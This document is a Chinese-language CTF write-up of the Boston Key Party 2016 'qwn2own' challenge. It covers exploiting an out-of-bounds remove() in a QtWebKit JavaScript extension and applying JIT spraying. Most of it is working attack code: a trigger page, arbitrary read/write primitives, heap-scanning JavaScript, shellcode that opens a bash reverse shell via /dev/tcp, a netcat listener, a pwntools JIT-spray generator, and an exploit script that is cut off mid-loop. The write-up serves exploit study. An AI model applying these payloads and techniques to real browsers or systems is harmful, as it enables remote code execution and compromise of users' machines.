JavaScript Exploits
Exploit JS Engine & JIT ROP.
Environment
Ubuntu 15.10
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 15.10
Release: 15.10
Codename: wily
Qt 5.4.2
$ qmake -v
QMake version 3.0
Using Qt version 5.4.2 in /usr/lib/x86_64-linux-gnu
Pre-Knowledge
JavaScript
JavaScript (JS) 是一种高级的、解释型的编程语言。它支持面向对象程序设计,指令式编程,以及函数式编程。JavaScript 与 Java 在名字或语法上都有很多相似性;在语法结构上它又与 C 语言有近 87% 的部分相似(例如 if 条件语句、switch 语句、while 循环、do-while 循环等)。JS 的一些特性:
- 变量不需要声明,是一种能指向不同类型 (string, int, double, function) 的 Reference;
- 没有长整型 (long long),超过 int (32 bit) 范围自动变成 double (64 bit);
- 字符串 (String) 是不可变的;
- Garbage Collection 机制。
- 一种自动的存储器管理机制。当某个程序占用的一部分内存空间不再被这个程序访问时,这个程序会借助垃圾回收算法向操作系统归还这部分内存空间
JS Engine
JavaScript 引擎 (JS Engine) 是一个专门处理 JavaScript 脚本的虚拟机,一般会附带在网页浏览器之中。
- JS Engine 用于解析 JavaScript,不同的浏览器有各自的 Engine;
- 有些地方看着像异步操作,但实际上都是单线程执行;
- 通过 JIT (Just-In-Time Compilation) 将 JavaScript 编译成 x86,大幅提高了运行速度。
利用 JS Engine 的漏洞
如果在远程运行的 JS Engine 有漏洞,可以利用漏洞来 RCE。利用过程中的一些要点:
- 扫描内存空间,寻找可用的 Gadget 或 Symbol;
- 先使用 PoC 检查是否存在漏洞,避免程序 Crash 后被使用者发现;
- 对于不同编译版本的程序来说,可以不需要精确的 Offset;
- 可以直接利用 JIT ROP 的技巧,而不需要已知的 Gadget。
可能会遇到的问题:
- 浏览器是多线程的,每个线程中都会操作 Heap,使得 Heap Layout 难以精确控制;
- Garbage Collection 发生时机不确定,可能会改变 Heap;
- 整个利用在远程完成,利用过程中没有办法和本地 I/O(拿权限只能反弹 Shell)。
漏洞利用步骤:
- 任意(相对)地址读
- 扫描内存,获取到自身地址后可以读取任意绝对地址
- 找出 JITed Code 的地址
- 找出 Function Object 的地址
- 在 libc 中找到
system()
- 直接使用 JIT Code Poisoning
- 如果 Code Page 只读,可以使用 JIT Spraying
- 在 libc 中找到
Bosten Key Party 2016 - qwn2own
以一道 2016 年的 CTF 赛题为例,学习一下 JS Exploit 以及相关的 JIT Spraying 技巧。题目主要是一个 C++ 做成的 JS Extension 跑在 WebKit 浏览器上。
Information
$ tree .
.
├── Documentation.md
├── example.html
├── qwn2own
├── src
│ ├── bkpdb.cpp
│ ├── bkpdb.h
│ ├── main.cpp
│ ├── mainwindow.cpp
│ ├── mainwindow.h
│ └── qwn2own.pro
└── WTF
1 directory, 10 files
题目中,Documentation.md
主要是 Extension 的相关函数使用说明,在 example.html
中有使用范例;qwn2own
是浏览器的二进制文件;src/
文件夹中时 Extension 的相关源代码;WTF
其实就是题目的一个 README。
这个 Extension 叫做 BKPDataBase,其中可以进行数据 (Vectors) 或映射 (Maps) 的创建和管理。其中,BKPStore
是利用 QtWebKit 接口做的 BKPDataBase Extension 里的一种存储形式 (bkpdb.h
):
class BKPStore : public QObject {
Q_OBJECT
public:
BKPStore(QObject * parent = 0, const QString &name = 0, quint8 tp = 0, QVariant var = 0, qulonglong store_ping = 0);
void StoreData(QVariant v);
Q_INVOKABLE QVariant getall();
Q_INVOKABLE QVariant get(int idx);
Q_INVOKABLE int insert(unsigned int idx, QVariant var);
Q_INVOKABLE int append(QVariant var);
Q_INVOKABLE void remove(int idx);
Q_INVOKABLE void cut(int beg, int end);
Q_INVOKABLE int size();
private:
quint8 type; // specifies which type to of vector
// to use
QVector<QVariant> varvect;
QVector<qulonglong> intvect;
QVector<QString> strvect;
qulonglong store_ping; // used for memory scanning
};
Vulnerability
而在 bkpdb.cpp
中,实现了 BKPStore
相关的各类函数。漏洞点在 BKPStore::remove()
中,没有检查传入的下标 idx
,可以触发一个越界的操作:
void BKPStore::remove(int idx) {
if(this->type == 0) {
this->varvect.erase(this->varvect.begin() + idx);
} else if(this->type == 1) {
this->intvect.erase(this->intvect.begin() + idx);
} else if(this->type == 2) {
this->strvect.erase(this->strvect.begin() + idx);
} else {
// this doesn't happen ever
BKPException ex;
throw ex;
}
}
因此我们可以往 remove()
函数中传入任意值。由于 remove()
函数中调用了 QVector
的内置方法 erase()
,再具体看看源代码中的实现。在 QT 源码中,erase(iterator pos);
方法主要是将当前位置往后的所有 QVector
元素都往前挪 1 个位置,最后再将 QVector
长度减去 1 (qtbase/src/corelib/tools/qvector.h
):
iterator erase(iterator begin, iterator end);
inline iterator erase(iterator pos) { return erase(pos, pos+1); }
typename QVector<T>::iterator QVector<T>::erase(iterator abegin, iterator aend)
{
Q_ASSERT_X(isValidIterator(abegin), "QVector::erase", "The specified iterator argument 'abegin' is invalid");
Q_ASSERT_X(isValidIterator(aend), "QVector::erase", "The specified iterator argument 'aend' is invalid");
const int itemsToErase = aend - abegin; // items to erase count
if (!itemsToErase)
return abegin;
Q_ASSERT(abegin >= d->begin());
Q_ASSERT(aend <= d->end());
Q_ASSERT(abegin <= aend);
const int itemsUntouched = abegin - d->begin();
if (d->alloc) {
detach();
abegin = d->begin() + itemsUntouched;
aend = abegin + itemsToErase;
if (QTypeInfo<T>::isStatic) {
iterator moveBegin = abegin + itemsToErase;
iterator moveEnd = d->end();
while (moveBegin != moveEnd) {
if (QTypeInfo<T>::isComplex)
static_cast<T *>(abegin)->~T();
new (abegin++) T(*moveBegin++);
}
if (abegin < d->end()) {
// destroy rest of instances
destruct(abegin, d->end());
}
} else {
destruct(abegin, aend);
memmove(abegin, aend, (d->size - itemsToErase - itemsUntouched) * sizeof(T)); // move element
}
d->size -= itemsToErase;
}
return d->begin() + itemsUntouched;
}
如果调用 remove(-1)
,就会将 QVector
地址前面部分的值被 QVector.value(0)
所覆盖。接下来再看看 QVector
数据结构,是一个 QTypedArrayData<T>
的指针:
template <typename T>
class QVector
{
typedef QTypedArrayData<T> Data;
Data *d;
...
};
而 QArrayData
、QTypedArrayData
这两个类是配套的,后者是以前者为基础的类模板,以方便对不同类型的数组提供抽象管理。可以借助 QArrayData
的结构体来理解 QVector
中指针所指向的数据结构。其中,偏移为 4 字节处的值为 QVector
的 size
;偏移为 12 字节处的值为 QVector
数据位置 offset
;真正的 QVector
数据在 24 字节偏移处:
struct Q_CORE_EXPORT QArrayData {
QtPrivate::RefCount ref; // 4 byte
int size; // 4 byte
uint alloc : 31; // 31 bit
uint capacityReserved : 1; // 1 bit
/* 对齐为 16 byte */
qptrdiff offset; // in bytes from beginning of header // 8 byte
/* 以上共 20 byte,由于需要对齐,最终 data 前的 header 部分有 24 byte */
void *data() {
return reinterpret_cast<char *>(this) + offset;
}
}
故如果调用 remove(-1)
,将会把 Vector.value(0)
的值覆盖到 QVector
的 Header 部分,将会修改到 size
、offset
等关键结构体成员。
Analysis
对漏洞的利用过程分为 Exploit C++ 和 Exploit JIT 两个步骤。Exploit C++ 的过程中需要想办法进行任意地址的读写;Exploit JIT 的过程中需要找到 JIT Function 的地址,并进一步运行 Shellcode 或利用 JIT Spraying。
扫描内存信息
首先通过以下 PoC 可以对漏洞点进行测试:
<meta http-equiv="Cache-Control" content="no-cache" />
<head id="special">
<title>qwn2own poc</title>
</head>
<script type="text/javascript">
var db = BKPDataBase.create("name", "password");
var A = db.createStore("A", 1, [0, 1, 2, 3, 4, 5, 6], 0xabcd1);
A.remove(-1); // trigger vulnerability
for (var i = 0; i < 7; ++i) {
document.write(i + ": " + A.get(i).toString(16) + "<br>");
}
</script>
经过上面的漏洞触发,将 QVector.value(0)
的值正好覆盖到 offset
,使得可以获取到相应 size
大小的 QVector
结构体数据,超过 size
大小的值都会获取到 0。为了获取更多的信息,需要扩大 size
的值。
当 Offset = 0
时,insert(0, 0xfffff00000001)
使得 size = 0xfffff, ref = 1
(insert
会对当前位置数据进行替换)。而 Double 的精度限制为 6 字节左右,没有办法将 size
设置为最大值(而 64 位下地址只有 48 位,影响不大)
获取 QVector
绝对地址
在可以扫描大范围的内存后,利用 BKPStore->store_ping
来放置特殊的随机字符串,来定位 BKPDataBase
结构体的绝对地址:
- 在内存中放上带有特定值的
BKPStore
;- 扫描
BKPStore->store_ping
可以用来确认地址 - 一般情况需要对比结构体各个成员是否符合
- 扫描
- 扫描内存找出
intvect
指向的QVector
;- 先在
QVector
里放入特定的值 intvect
减去扫描的 index 就是自己的地址QVector's address = intvect + 24 - index * 8
- 先在
这样的利用方法可能存在一定的 随机性:
- 由于 Garbage Collection 和 Free 的关系,两个结构体的顺序可能相反
- 扫描 Heap 时要避免超出范围,不然会 Crash
- 按照 Heap Chunk 的结构来扫描,遇到 Chunk Size 过大时停止(可能是 Top Chunk)
- 只扫描一个小范围,因为两个结构体通常不会离的特别远
- 失败时重新再来,或者刷新页面
location.reload()
- 有时候 reload 不好,重新跑比较有机会打乱 Heap
任意地址读写
在获取得到指定 QVector
的地址后,可以分别实现任意地址读写:
任意地址读
- A 在 B 之前,利用
A.insert()
来改变 B 的 Offset - 有时候 B 的地址会跑掉,可以用
B.get()
来检查
function read(addr) {
var offset = addr - B_vec;
A.insert(A2B_off_idx, offset);
var x = B.get(0);
A.insert(A2B_off_idx, 0);
return x;
}
任意地址写
- 把
B.get()
改成B.insert()
,就可以在 Offset 处写入 8 字节- 精度不能超过 Double 的限制
function write(addr, v) {
var offset = addr - B_vec;
A.insert(A2B_off_idx, offset);
B.insert(0, v);
A.insert(A2B_off_idx, 0);
}
定位 JIT Code
在 QtWebKit 中,JS Function 会被 JIT 编译起来(以 Function 为单位),而根据 Function Object 可以找到相应的 JITed Function Body。其中,Function Object 会在 JS Heap(对齐单位是 64k)上,与 BKPStore 使用的 libc Heap 是分开的(在不同线程中)。
$ cat /proc/`pidof qwn2own`/maps | grep heap
5589aa764000-5589aac2a000 rw-p 00000000 00:00 0 [heap]
$ cat /proc/`pidof qwn2own`/maps | grep rwxp # 本题中 JS Heap 的堆是可执行的
7f4a9bfff000-7f4a9c000000 rwxp 00000000 00:00 0
WebKit 的 Heap 结构基于 TCMalloc (Thread-Caching Malloc),与 libc 的 PTMalloc (PThread Malloc) 有所不同。TCMalloc 分配的 Chunk 有以下特点:
- Chunk 大小共有
kNumClasses
种。其中 WebKit 共有 68 种不同大小的 Chunk; - 小于
8 * PAGE_SIZE
的为 Small Chunks,从 ThreadCache 中分配;- 如果 ThreadCache 不够用,会从 CentralCache 中分配并放进 ThreadCache
- 大于
8 * PAGE_SIZE
的为 Large Chunks,从由 CentralCache 维护的 PageHeap 中分配;- 如果不够分配,使用
sbrk
、mmap
、/dev/mem
等方式从系统中分配;
- 如果不够分配,使用
- …
接下来,就能根据 WebKit 中 Heap 的特点来扫描内存,定位 JS Heap:
/* 从 libc heap (B_vec) 开始寻找 */
for (var jimbo = B_vec; funcptr == null; jimbo -= 8) {
// check chunk is valid
chunksz = read(jimbo); // chunk size
if (chunksz < 0x20 || (chunksz & 0xf1) != chunksz) continue;
chunksz -= chunksz & 1;
nextsz = read(jimbo + chunksz); // next chunk size
if (nextsz < 0x20 || (nextsz & 0xfff1) != nextsz || (nextsz & 1) != 1) continue;
// page aligned addresses?
heapaddr = read(jimbo + 10 * 8);
if (heapaddr <= B_vec || (heapaddr & 0xfff) != 0) continue;
if (heapaddr != read(jimbo + 11 * 8)) continue;
/* matches JS heap caracs? */
nbregions = read(jimbo + 2 * 8);
regsz = read(jimbo + 4 * 8);
heapsz = read(jimbo + 12 * 8);
if (nbregions != 2 || (heapsz & 0xfff) != 0 || (regsz & 0xfff) != 0 || heapsz == 0 || nbregions * regsz != heapsz) continue;
...
}
接下来通过构造大量带有特定 Pattern 的数组来识别目标 JIT Function Object。在确定 Chunk 地址后,对相应的 Pattern 来识别并获取 JIT Functioin Object:
function func_jit(x, y, z) {
...
}
var A = "AAAAAAA";
var T = new Array(10000);
for (var i = 0; i < 10000; i++) {
var Td = new Array(50);
for (var j = 0; j < 47; j += 3) {
Td[j] = A; // str
Td[j + 1] = A; // str
Td[j + 2] = func_jit; // jit function
}
T[i] = Td;
}
for (...) {
...
/* start scanning from heapaddr .. */
for (var i = 0; i < 100; i++) {
var b = heapaddr + i * 8;
var check = 1;
/* check sequence */
for (var j = 0; j < 20; j++) {
if (read(b + j * 8) != read(b + j * 8 + 24)) {
check = 0;
break;
}
}
if (check && read(b) == read(b + 8) && read(b) != read(b + 16)) {
strptr = read(b); // str
funcptr = read(b + 16); // jit function
break;
}
}
break;
}
由于指向 JIT Code 的指针位于 *(funcptr + 24) + 32
,通过覆盖这个指针可以造成呼叫这个函数时跳转到别处。
执行 Shellcode
由于题目的 JIT Page 是 RWX,可以直接把 Shellcode 复制到 Function Object 指针指向的代码段。然后再呼叫这个 Function,就会执行 Shellcode。Shellcode:
.globl _start
_start:
push 0
lea rdx, [rsp]
lea rax, [rip + cmd]
push rax
lea rax, [rip + argC]
push rax
lea rax, [rip + sh]
push rax
lea rsi, [rsp]
mov rdi, [rsp]
mov rax, 59
syscall
sh:
.asciz "/bin/sh"
argC:
.asciz "-c"
cmd:
.asciz "bash -c 'bash -i >& /dev/tcp/127.0.0.1/8080 0>&1'"
反弹 Shell:
nc -vlp 8080
PS:若要弹计算器,修改命令行为bash -c 'DISPLAY=:0 gnome-calculator'
JIT Spraying
当无法直接执行 Shellcode 时(即题目中 JS Heap 段不可执行),就可以使用 JIT Spraying 来达到我们的目的。JIT Spraying 能够通过 JIT Compilation 来避开 ASLR 和 DEP 的保护。JIT Spraying 的目标是构造可执行代码段,现构造以下的 JIT Function:
function func_jit(x, y, z) {
for (var i = 0; i < 1000000; i++) {
// enough time to jit
x = x ^ 0x12345678 ^ 0xabcdef12 ^ 0x22222222;
}
return x;
}
JIT 会将 Function 编译成如下的 x86 汇编:
$ gdb attach `pidof qwn2own`
...
(gdb) x/20i 0x7f4a9bfff760
...
0x7f4a9bfff79a: mov eax,DWORD PTR [r13-0x40]
0x7f4a9bfff79e: xor eax,0x12345678
0x7f4a9bfff7a4: xor eax,0xabcdef12
0x7f4a9bfff7aa: xor eax,0x22222222
0x7f4a9bfff7b0: mov DWORD PTR [r13-0x40],eax
...
(断章取义)如果直接跳到 JIT 后从 Function 中间开始运行,就会使得执行的汇编语句不一样,以如下构造的异或语句为例:
#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'
# z=z^0x00bbc031^0xbb0ab000^0xbb660000^0x00bb050f^0xe7ff4100;
code = '\x81\xf0\x31\xc0\xbb\x00\x81\xf0\x00\xb0\x0a\xbb\x81\xf0\x00\x00\x66\xbb\x81\xf0\x0f\x05\xbb\x00\x81\xf0\x00\x41\xff\xe7'
print disasm(code)
# 0: 81 f0 31 c0 bb 00 xor eax, 0xbbc031
# 6: 81 f0 00 b0 0a bb xor eax, 0xbb0ab000
# c: 81 f0 00 00 66 bb xor eax, 0xbb660000
# 12: 81 f0 0f 05 bb 00 xor eax, 0xbb050f
# 18: 81 f0 00 41 ff e7 xor eax, 0xe7ff4100
code = '\x31\xc0\xbb\x00\x81\xf0\x00\xb0\x0a\xbb\x81\xf0\x00\x00\x66\xbb\x81\xf0\x0f\x05\xbb\x00\x81\xf0\x00\x41\xff\xe7'
print disasm(code)
# 0: 31 c0 xor eax, eax
# 2: bb 00 81 f0 00 mov ebx, 0xf08100 ; padding
# 7: b0 0a mov al, 0xa
# 9: bb 81 f0 00 00 mov ebx, 0xf081 ; padding
# e: 66 bb 81 f0 mov bx, 0xf081 ; padding
# 12: 0f 05 syscall
# 14: bb 00 81 f0 00 mov ebx, 0xf08100 ; padding
# 19: 41 ff e7 jmp r15
JIT Spraying 的一些技巧:
- 在不确定 JIT 后的指令从 Function 起算的 Offset 时,可以多填几个
nop
来确定位置; - 即使 JIT Page 有只读保护时,仍然可以用 JIT ROP;
- JIT ROP 可以用
mprotect
解除 DEP 后,在直接跳回 Heap 上执行 Shellcode; - 以连续的
xor int32
的方式填充,一般来说不会被优化; - QtWebKit 里
xor eax
的 Opcode 是81 f0
,而不是优化过后的35
(具体要看 JS Engine); - 指令不可以对齐,不然之后就没办法错位执行,所以长度为 4 的指令通常不能用;
- 可以用
mov ebx, 0xf081
,mov bx, 0xf081
,mov ebx, 0xf08100
等 Padding 来重新调整指令位置。
最后想办法跳转到 Shellcode 上执行:
- Shellcode 可以直接放在 JS 的字符串中;
*(strobj + 16) + 32
QString
是 UTF-16,会比较麻烦
- Shellcode 的地址可以当成参数传入
func_jit
;- 第一个参数在
[r13-0x40]
,第二个参数在[r13-0x48]
- 使用两个 32 位整型来组合出一个 64 位的地址
- 直接传 Double 进来需要使用 SSE 指令,处理会很麻烦
- 第一个参数在
- 调用
mprotect
后,直接跳转到 Shellcode 上
jit.py
中构造了一系列满足上述条件的 Shellcode 来调用 mprotect
并执行 Shellcode:
#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'
syscall = asm('''
xor eax, eax
mov ebx, 0xf08100
mov al, 10
mov ebx, 0xf081
mov bx, 0xf081
syscall
mov ebx, 0xf08100
jmp r15
''')
loaddi = asm('''
mov rax, r13
mov ebx, 0xf081
mov ebx, 0xf08100
sub rax, 0xf08140
add rax, 0xf08100
mov ebx, 0xf0810000
mov edi, [rax]
mov bx, 0xf081
mov rax, r13
mov ebx, 0xf081
mov ebx, 0xf08100
sub rax, 0xf08148
add rax, 0xf08100
mov ebx, 0xf0810000
mov esi, [rax]
mov bx, 0xf081
mov cl, 32
mov bx, 0xf081
shl rdi, cl
mov ebx, 0xf081
mov bx, 0xf081
add rdi, rsi
mov ebx, 0xf081
mov bx, 0xf081
mov r15, rdi
mov ebx, 0xf081
mov bx, 0xf081
''')
maskdi = asm('''
mov cl, 20
mov ebx, 0xf08100
shl esi, cl
mov ebx, 0xf081
mov ebx, 0xf08100
shr esi, cl
mov ebx, 0xf081
mov bx, 0xf081
sub rdi, rsi
mov ebx, 0xf081
mov bx, 0xf081
''')
setsidx = asm('''
nop
mov esi, 0xf0811000
xor esi, 0xf0810000
xor rdx, rdx
mov ebx, 0xf081
mov bx, 0xf081
mov dl, 7
mov bx, 0xf081
''')
# 1. load rdi
# 2. align rdi
# 3. set rsi & rdx
# 4. system call
sc = loaddi + maskdi + setsidx + syscall
print disasm('\x81\xf0' + sc)
print '========================='
print disasm(sc)
print '========================='
s = 'z = z'
for i in range(0, len(sc) - 3, 6):
s += '^0x%08x' % u32(sc[i:i + 4])
s += ';'
print s
执行后得到相应的 JIT Function 表达式:
$ ./jit.py
0: 81 f0 4c 89 e8 bb xor eax, 0xbbe8894c
6: 81 f0 00 00 bb 00 xor eax, 0xbb0000
c: 81 f0 00 48 2d 40 xor eax, 0x402d4800
12: 81 f0 00 48 05 00 xor eax, 0x54800
18: 81 f0 00 bb 00 00 xor eax, 0xbb00
1e: 81 f0 8b 38 66 bb xor eax, 0xbb66388b
24: 81 f0 4c 89 e8 bb xor eax, 0xbbe8894c
2a: 81 f0 00 00 bb 00 xor eax, 0xbb0000
30: 81 f0 00 48 2d 48 xor eax, 0x482d4800
36: 81 f0 00 48 05 00 xor eax, 0x54800
3c: 81 f0 00 bb 00 00 xor eax, 0xbb00
42: 81 f0 8b 30 66 bb xor eax, 0xbb66308b
48: 81 f0 b1 20 66 bb xor eax, 0xbb6620b1
4e: 81 f0 48 d3 e7 bb xor eax, 0xbbe7d348
54: 81 f0 00 00 66 bb xor eax, 0xbb660000
5a: 81 f0 48 01 f7 bb xor eax, 0xbbf70148
60: 81 f0 00 00 66 bb xor eax, 0xbb660000
66: 81 f0 49 89 ff bb xor eax, 0xbbff8949
6c: 81 f0 00 00 66 bb xor eax, 0xbb660000
72: 81 f0 b1 14 bb 00 xor eax, 0xbb14b1
78: 81 f0 00 d3 e6 bb xor eax, 0xbbe6d300
7e: 81 f0 00 00 bb 00 xor eax, 0xbb0000
84: 81 f0 00 d3 ee bb xor eax, 0xbbeed300
8a: 81 f0 00 00 66 bb xor eax, 0xbb660000
90: 81 f0 48 29 f7 bb xor eax, 0xbbf72948
96: 81 f0 00 00 66 bb xor eax, 0xbb660000
9c: 81 f0 90 be 00 10 xor eax, 0x1000be90
a2: 81 f0 81 f6 00 00 xor eax, 0xf681
a8: 81 f0 48 31 d2 bb xor eax, 0xbbd23148
ae: 81 f0 00 00 66 bb xor eax, 0xbb660000
b4: 81 f0 b2 07 66 bb xor eax, 0xbb6607b2
ba: 81 f0 31 c0 bb 00 xor eax, 0xbbc031
c0: 81 f0 00 b0 0a bb xor eax, 0xbb0ab000
c6: 81 f0 00 00 66 bb xor eax, 0xbb660000
cc: 81 f0 0f 05 bb 00 xor eax, 0xbb050f
d2: 81 f0 00 41 ff e7 xor eax, 0xe7ff4100
=========================
0: 4c 89 e8 mov rax, r13
3: bb 81 f0 00 00 mov ebx, 0xf081
8: bb 00 81 f0 00 mov ebx, 0xf08100
d: 48 2d 40 81 f0 00 sub rax, 0xf08140
13: 48 05 00 81 f0 00 add rax, 0xf08100
19: bb 00 00 81 f0 mov ebx, 0xf0810000
1e: 8b 38 mov edi, DWORD PTR [rax]
20: 66 bb 81 f0 mov bx, 0xf081
24: 4c 89 e8 mov rax, r13
27: bb 81 f0 00 00 mov ebx, 0xf081
2c: bb 00 81 f0 00 mov ebx, 0xf08100
31: 48 2d 48 81 f0 00 sub rax, 0xf08148
37: 48 05 00 81 f0 00 add rax, 0xf08100
3d: bb 00 00 81 f0 mov ebx, 0xf0810000
42: 8b 30 mov esi, DWORD PTR [rax]
44: 66 bb 81 f0 mov bx, 0xf081
48: b1 20 mov cl, 0x20
4a: 66 bb 81 f0 mov bx, 0xf081
4e: 48 d3 e7 shl rdi, cl
51: bb 81 f0 00 00 mov ebx, 0xf081
56: 66 bb 81 f0 mov bx, 0xf081
5a: 48 01 f7 add rdi, rsi
5d: bb 81 f0 00 00 mov ebx, 0xf081
62: 66 bb 81 f0 mov bx, 0xf081
66: 49 89 ff mov r15, rdi
69: bb 81 f0 00 00 mov ebx, 0xf081
6e: 66 bb 81 f0 mov bx, 0xf081
72: b1 14 mov cl, 0x14
74: bb 00 81 f0 00 mov ebx, 0xf08100
79: d3 e6 shl esi, cl
7b: bb 81 f0 00 00 mov ebx, 0xf081
80: bb 00 81 f0 00 mov ebx, 0xf08100
85: d3 ee shr esi, cl
87: bb 81 f0 00 00 mov ebx, 0xf081
8c: 66 bb 81 f0 mov bx, 0xf081
90: 48 29 f7 sub rdi, rsi
93: bb 81 f0 00 00 mov ebx, 0xf081
98: 66 bb 81 f0 mov bx, 0xf081
9c: 90 nop
9d: be 00 10 81 f0 mov esi, 0xf0811000
a2: 81 f6 00 00 81 f0 xor esi, 0xf0810000
a8: 48 31 d2 xor rdx, rdx
ab: bb 81 f0 00 00 mov ebx, 0xf081
b0: 66 bb 81 f0 mov bx, 0xf081
b4: b2 07 mov dl, 0x7
b6: 66 bb 81 f0 mov bx, 0xf081
ba: 31 c0 xor eax, eax
bc: bb 00 81 f0 00 mov ebx, 0xf08100
c1: b0 0a mov al, 0xa
c3: bb 81 f0 00 00 mov ebx, 0xf081
c8: 66 bb 81 f0 mov bx, 0xf081
cc: 0f 05 syscall
ce: bb 00 81 f0 00 mov ebx, 0xf08100
d3: 41 ff e7 jmp r15
=========================
z = z^0xbbe8894c^0x00bb0000^0x402d4800^0x00054800^0x0000bb00^0xbb66388b^0xbbe8894c^0x00bb0000^0x482d4800^0x00054800^0x0000bb00^0xbb66308b^0xbb6620b1^0xbbe7d348^0xbb660000^0xbbf70148^0xbb660000^0xbbff8949^0xbb660000^0x00bb14b1^0xbbe6d300^0x00bb0000^0xbbeed300^0xbb660000^0xbbf72948^0xbb660000^0x1000be90^0x0000f681^0xbbd23148^0xbb660000^0xbb6607b2^0x00bbc031^0xbb0ab000^0xbb660000^0x00bb050f^0xe7ff4100;
经过调试,在相应的 JIT Function 偏移为 84 的代码处,即为上面构造的一系列 Shellcode。所以在相应的利用脚本中,需要把 JIT Function 的 Pointer 改为原始的地址加上 84:
$ gdb qwn2own
...
(gdb) x/30i 0x7f4a9bfff2c0
...
0x7f4a9bfff30e: mov eax,DWORD PTR [r13-0x50]
0x7f4a9bfff312: xor eax,0xbbe8894c
0x7f4a9bfff318: xor eax,0xbb0000
0x7f4a9bfff31e: xor eax,0x402d4800
0x7f4a9bfff324: xor eax,0x54800
0x7f4a9bfff32a: xor eax,0xbb00
0x7f4a9bfff330: xor eax,0xbb66388b
0x7f4a9bfff336: xor eax,0xbbe8894c
0x7f4a9bfff33c: xor eax,0xbb0000
0x7f4a9bfff342: xor eax,0x482d4800
0x7f4a9bfff348: xor eax,0x54800
0x7f4a9bfff34e: xor eax,0xbb00
0x7f4a9bfff354: xor eax,0xbb66308b
0x7f4a9bfff35a: xor eax,0xbb6620b1
(gdb) x/30i 0x7f4a9bfff2c0+84
0x7f4a9bfff314: mov rax,r13
0x7f4a9bfff317: mov ebx,0xf081
0x7f4a9bfff31c: mov ebx,0xf08100
0x7f4a9bfff321: sub rax,0xf08140
0x7f4a9bfff327: add rax,0xf08100
0x7f4a9bfff32d: mov ebx,0xf0810000
0x7f4a9bfff332: mov edi,DWORD PTR [rax]
0x7f4a9bfff334: mov bx,0xf081
0x7f4a9bfff338: mov rax,r13
0x7f4a9bfff33b: mov ebx,0xf081
0x7f4a9bfff340: mov ebx,0xf08100
0x7f4a9bfff345: sub rax,0xf08148
0x7f4a9bfff34b: add rax,0xf08100
0x7f4a9bfff351: mov ebx,0xf0810000
0x7f4a9bfff356: mov esi,DWORD PTR [rax]
0x7f4a9bfff358: mov bx,0xf081
0x7f4a9bfff35c: mov cl,0x20
0x7f4a9bfff35e: mov bx,0xf081
0x7f4a9bfff362: shl rdi,cl
0x7f4a9bfff365: mov ebx,0xf081
0x7f4a9bfff36a: mov bx,0xf081
0x7f4a9bfff36e: add rdi,rsi
0x7f4a9bfff371: mov ebx,0xf081
0x7f4a9bfff376: mov bx,0xf081
0x7f4a9bfff37a: mov r15,rdi
...
然后可以通过调试对 JIT Function 进行验证。第一部分通过 rsi 和 rdi 存放地址的高低 32 位并组合计算出 Shellcode 字符串的地址:
由于需要将 Shellcode 字符串所处地址的内存页权限进行修改,需要获取其内存页地址,即通过位移操作将其低 12 位置 0:
最后将页地址作为参数传入 mprotect
系统调用,并执行内存页权限修改:
Exploit
可以大量塞满相同大小的 Chunk ,让 A 和 B 的相对顺序更高概率处于 A 前 B 后的情況
利用脚本:
var shellcode = "\x6a\x00\x48\x8d\x14\x24\x48\x8d\x05\x2d\x00\x00\x00\x50\x48\x8d\x05\x22\x00\x00\x00\x50\x48\x8d\x05\x12\x00\x00\x00\x50\x48\x8d\x34\x24\x48\x8b\x3c\x24\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x62\x61\x73\x68\x20\x2d\x63\x20\x27\x44\x49\x53\x50\x4c\x41\x59\x3d\x3a\x30\x20\x67\x6e\x6f\x6d\x65\x2d\x63\x61\x6c\x63\x75\x6c\x61\x74\x6f\x72\x27\x00";
function exploit() {
function print(msg) {
document.write(msg + "<br>");
}
function func_jit(x, y, z) {
for (var i = 0; i < 1000000; i++) {
// enough time to jit
x = x ^ 0x12345678 ^ 0xabcdef12 ^ 0x22222222;
}
return x;
}
func_jit(0, 1, 2); // call for jit
var A = "AAAAAAA";
var T = new Array(10000);
for (var i = 0; i < 10000; i++) {
var Td = new Array(50);
for (var j = 0; j < 47; j += 3) {
Td[j] = A;
Td[j + 1] = A;
Td[j + 2] = func_jit;
}
T[i] = Td;
}
var db = BKPDataBase.create("name", "password");
for (var tt = 1000; tt > 0; tt--) {
var key1 = Math.floor(Math.random() * 1e12);
var key2 = Math.floor(Math.random() * 1e12);
var key3 = Math.floor(Math.random() * 1e12);
var A = db.createStore("A", 1, [0, 1, 2], 0xabcd1);
var B = db.createStore("B", 1, [0, 0xcccc, key3, 0xdddd], 0xabcd1);
var C = db.createStore("C", 1, [0xaaaa, key2, 0xbbbb], key1);
A.remove(-1);
A.insert(0, 0xfffff00000001); // increase size
B.remove(-1);
B.insert(0, 0xfffff00000001);
//print("key1 = " + key1.toString(16));
//print("key2 = " + key2.toString(16));
var A2B_off_idx = -1; // A to B offset index
for (var i = 0; i < 1000; i++) {
if (A.get(i) == 0xcccc && A.get(i + 1) == key3 && A.get(i + 2) == 0xdddd) {
A2B_off_idx = i - 1;
break;
}
}
if (A2B_off_idx == -1) continue;
var C_vec = -1; // C intvect
for (var i = 0; i < 1000; i++) {
if (B.get(i) == key1 && B.get(i - 1) == B.get(i - 3)) {
C_vec = B.get(i - 2);
break;
}
}
if (C_vec == -1) continue;
var B2C_index = -1; // B to C index
for (var i = 0; i < 1000; i++) {
if (B.get(i) == 0xaaaa && B.get(i + 1) == key2 && B.get(i + 2) == 0xbbbb) {
B2C_index = i;
break;
}
}
if (B2C_index == -1) continue;
break;
}
print("A2B_off_idx = " + A2B_off_idx);
print("C_vec = " + C_vec.toString(16));
print("B2C_index = " + B2C_index);
var B_vec = C_vec + 24 - B2C_index * 8;
print("B_vec = " + B_vec.toString(16));
function read(addr) {
var offset = addr - B_vec;
A.insert(A2B_off_idx, offset);
var x = B.get(0);
A.insert(A2B_off_idx, 0);
return x;
}
//print(read(0x5561e13da000).toString(16)); // read binary
function write(addr, v) {
var offset = addr - B_vec;
A.insert(A2B_off_idx, offset);
B.insert(0, v);
A.insert(A2B_off_idx, 0);
}
var strptr = null;
var funcptr = null;
for (var jimbo = B_vec; funcptr == null; jimbo -= 8) {
// check chunk is valid
chunksz = read(jimbo);
if (chunksz < 0x20 || (chunksz & 0xf1) != chunksz) continue;
chunksz -= chunksz & 1;
